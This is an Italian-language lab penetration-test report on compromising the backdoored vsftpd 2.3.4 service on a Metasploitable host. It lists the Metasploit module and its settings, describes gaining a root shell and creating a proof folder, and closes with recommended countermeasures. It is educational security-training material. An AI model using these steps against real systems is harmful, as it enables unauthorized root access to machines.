Report di Penetration Testing: Exploit vsftpd su Metasploitable

Sommario Esecutivo
Questo report documenta l'esecuzione di un attacco di penetration testing contro un servizio vsftpd vulnerabile su una macchina Metasploitable. L'obiettivo è stato compromettere il sistema e creare una cartella specifica nella directory root, dimostrando l'accesso privilegiato ottenuto.

Informazioni sul Target
- **Indirizzo IP**: 192.168.1.149/24
- **Sistema Operativo**: Linux (Metasploitable)
- **Servizio Vulnerabile**: vsftpd 2.3.4

Metodologia di Attacco

1. Ricognizione
- Identificazione del target all'indirizzo 192.168.1.149
- Verifica della raggiungibilità del target tramite ping
- Scansione delle porte usando Nmap per identificare i servizi attivi

2. Identificazione delle Vulnerabilità
- Rilevata vulnerabilità nota nel servizio vsftpd versione 2.3.4
- La vulnerabilità consiste in un backdoor inserita nella versione 2.3.4 di vsftpd che consente l'accesso non autorizzato

3. Sfruttamento (Exploitation)
- Avvio di Metasploit Framework utilizzando `msfconsole`
- Ricerca dell'exploit appropriato: `search vsftpd`
- Selezione dell'exploit: `use exploit/unix/ftp/vsftpd_234_backdoor`
- Configurazione dei parametri dell'exploit:
  ```
  set RHOSTS 192.168.1.149
  set RPORT 21
  ```
- Esecuzione dell'exploit: `exploit` o `run`
- L'exploit ha richiesto l'inserimento di un valore per USER, che è stato fornito
- Connessione stabilita con successo al sistema target

4. Post-Exploitation
- Ottenimento di una shell sul sistema compromesso
- Verifica dei privilegi ottenuti (tipicamente root nel caso di questo exploit)
- Navigazione alla directory root: `cd /`
- Creazione della cartella richiesta: `mkdir test_metasploit`
- Verifica della creazione della cartella: `ls -la | grep test_metasploit`

Risultati
- Exploit eseguito con successo
- Ottenuto accesso al sistema con privilegi elevati
- Creata la cartella specificata (/test_metasploit) nella directory root
- Dimostrato il controllo completo sulla macchina target

Contromisure Raccomandate
- Aggiornare vsftpd alla versione più recente (>2.3.4)
- Disabilitare i servizi non necessari
- Implementare un firewall per limitare l'accesso ai servizi esposti
- Eseguire regolarmente scansioni di vulnerabilità
- Monitorare attivamente i log di sistema per comportamenti sospetti

Conclusioni

L'esercizio ha dimostrato con successo la vulnerabilità presente nella versione 2.3.4 di vsftpd. È stato possibile compromettere il sistema e ottenere privilegi elevati che hanno permesso la creazione di una cartella nella directory root. Questo tipo di vulnerabilità evidenzia l'importanza di mantenere aggiornati i software e implementare solide pratiche di sicurezza.

Nota: Questo report è stato creato a scopo puramente educativo nell'ambito di un esercizio di sicurezza informatica in ambiente controllato.